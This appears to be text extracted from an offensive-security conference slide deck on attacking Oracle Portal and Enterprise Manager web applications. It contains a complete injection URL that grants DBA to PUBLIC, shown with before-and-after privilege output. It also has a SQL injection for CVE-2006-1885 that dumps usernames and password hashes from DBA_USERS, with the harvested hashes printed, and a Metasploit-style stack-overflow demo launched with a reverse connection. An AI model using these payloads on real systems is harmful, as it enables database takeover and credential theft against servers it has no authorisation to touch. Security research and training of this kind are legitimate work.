ORABPEL 81 09-AUG-05 BAM 80 09-AUG-05 IP 79 09-AUG-05 B2B 78 09-AUG-05 OWF_MGR 76 09-AUG-05 WIRELESS 74 09-AUG-05 SCOTT 82 09-AUG-05 DSGATEWAY 71 09-AUG-05 PORTAL_DEMO 70 09-AUG-05 PORTAL_APP 69 09-AUG-05 PORTAL_PUBLIC 68 09-AUG-05 PORTAL 67 09-AUG-05 ORASSO_PA 66 09-AUG-05 ORASSO_DS 65 09-AUG-05 ORASSO_PS 64 09-AUG-05 ORASSO_PUBLIC 63 09-AUG-05 UDDSYS 72 09-AUG-05 WCRRSYS 73 09-AUG-05 ODS 61 09-AUG-05 ORASSO 62 09-AUG-05 ORAOCA_PUBLIC 60 09-AUG-05 OCA 59 09-AUG-05 MGMT_VIEW 56 07-JUL-05 DISCOVERER5 58 09-AUG-05 DCM 57 09-AUG-05 WKPROYX 51 07-JUL-05 WKSYS 50 07-JUL-05 MDDATA 49 07-JUL-05 SYSMAN 54 07-JUL-05 ANONYMOUS 43 07-JUL-05 XDB 42 07-JUL-05 WK_TEST 53 07-JUL-05 OLAPSYS 46 07-JUL-05 CTXSYS 40 07-JUL-05 MDSYS 36 07-JUL-05 SI_INFORMTN_SCHEMA 35 07-JUL-05 ORDPLUGINS 34 07-JUL-05 ORDSYS 33 07-JUL-05 EXFSYS 32 07-JUL-05 WMSYS 23 07-JUL-05 DBSNMP 22 07-JUL-05 DMSYS 37 07-JUL-05 DIP 19 07-JUL-05 OUTLN 11 07-JUL-05 SYSTEM 5 07-JUL-05 SYS 0 07-JUL-05
```
Oracle Portal Exploitation

- Run SQL Queries – Check my privileges
Oracle Portal Exploitation

• But I want shell! Or at least access to tasty data

• Next step is to escalate to DBA via privilege escalation, see oracle Defcon 17 talk...

• Dependent on backend database version....if its patched, you're out of luck

• Most functions run as PORTAL_PUBLIC user who is a limited account

• However, some functions run as PORTAL user who is DBA 😊
Oracle Portal Exploitation

- However, some functions run as PORTAL user who is DBA 😊
- http://server/portal/pls/portal/PORTAL.wwexp_api_engine.action?p_otype=FO LDER&p_octx=FOLDERMAP.1_6&p_datasource_data=document.SEARCH23915_ PAGESEARCH_146202305.ft&p_datasource_data=document.SEARCH23915_PAG ESEARCH_146202305.fi&p_datasource_data=document.SEARCH23915_PAGESE ARC_146202305.fs&p_datasource_data=nls_sub_domain%3Dtext%2Cnls_name% e%3Dfolderplpopup&p_domain=wwc&p_sub_domain=FOLDERMAP&p_back_url=PORTAL.wwexp_render.show_tree%3Fp_otype%3DSITEMAP%26p_domain%3 Dwwc%26p_sub_domain%3DFOLDERMAP%26p_headerimage%3D%2Fimages% 2Fbhfnd2.gif%26p_show_banner%3DNO%26p_show_cancel%3DNO%26p_title %3DBrowse%2520Pages%26p_open_item%3D%26p_open_items%3D0.SITEMAP .FOLDERMAP.0_-_1&p_action=show(wwexp_datatype.g_exp_param);execute%20immediate%20' grant dba to public';end;--
Oracle Portal Exploitation

- PORTAL.wwexp_api_engine.action Exploit

- Before

```
PORTAL_PUBLIC CONNECT NO YES NO
```

- After

```
PORTAL_PUBLIC CONNECT NO YES NO PUBLIC DBA NO YES NO
```
Exploitation of Various Web Apps

- Oracle secure backup
- Oracle times 10?
- Oracle 9.2 Enterprise Manager Reporting Sql Injection
Enterprise Manager SQL Injection

- Oracle Enterprise Manager Reporting SQL Injection CVE-2006-1885 -- Oracle 9iR2

![Oracle Enterprise Manager Reporting Home Page](image)

**System State at a Glance**

<table>
<thead>
<tr>
<th>All Targets</th>
<th>Critical</th>
<th>Warning</th>
<th>Clear</th>
<th>Unknown</th>
<th>Error</th>
<th>Unmonitored</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 Databases</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>1 HTTP Servers</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>1 Listeners</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>1 Nodes</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>All Targets</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
</tbody>
</table>

**Tip** To view a report for a specific target, click the appropriate target type in the first column above. Reports that include multiple targets are accessible from any of the included targets. Reports that are not target-specific are accessible from Additional Reports.
Enterprise Manager SQL Injection

- Oracle Enterprise Manager Reporting SQL Injection CVE-2006-1885 -- Oracle 9iR2

```
' union SELECT 1,TO_CHAR(sysdate,'DD-MON-YYYY HH24:MI:SS'),username,password,'Submitted'
FROM DBA_USERS--
```

<table>
<thead>
<tr>
<th>Job Name</th>
<th>Owner</th>
<th>Status</th>
<th>Timestamp</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
<td>anonymous</td>
<td>Submitted</td>
<td>31-DEC-2010 14:16:19</td>
</tr>
<tr>
<td>CTXSYS</td>
<td>71E637F036AD56E5</td>
<td>Submitted</td>
<td></td>
</tr>
<tr>
<td>DBSNMP</td>
<td>E066D214D5421CCC</td>
<td>Submitted</td>
<td></td>
</tr>
<tr>
<td>HR</td>
<td>6399F3B38E5DF3233</td>
<td>Submitted</td>
<td></td>
</tr>
<tr>
<td>MDSYS</td>
<td>72579A94BAD2AF80</td>
<td>Submitted</td>
<td></td>
</tr>
<tr>
<td>ODM</td>
<td>C272E3FA117AF949</td>
<td>Submitted</td>
<td></td>
</tr>
<tr>
<td>ODM_MTR</td>
<td>A7A32CD03D3CE3D5</td>
<td>Submitted</td>
<td></td>
</tr>
<tr>
<td>OE</td>
<td>9C30855E780CB02D</td>
<td>Submitted</td>
<td></td>
</tr>
<tr>
<td>OEM_USER-Y4OW81Q9EA_OEMREP</td>
<td>6AB6D6CC24DDFF96</td>
<td>Submitted</td>
<td></td>
</tr>
</tbody>
</table>
Exploithub Exploits Demo

This module exploits a stack overflow in the SQL*Plus interface. When sending a specially formatted POST request with an overly long userid, an attacker may be able to execute arbitrary code.

Targets: 0 => Oracle 9.2.0.1

Use a reverse connection
Show advanced options
Launch

msf > getpid
Current pid: 3072
msf >
Oracle Ninjas / Resources

- Alexander Kornbrust  http://www.red-database-security.com/
- Sumit Siddharth   http://www.notsosecure.com
- David Litchfield  http://www.davidlitchfield.com/blog/
- Joxean Koret      http://joxeankoret.com/
- http://www.0xdeadbeef.info/
Special Thanks To

- Alexander Kornbrust
- MC
- Sid
- cktricky
- mubix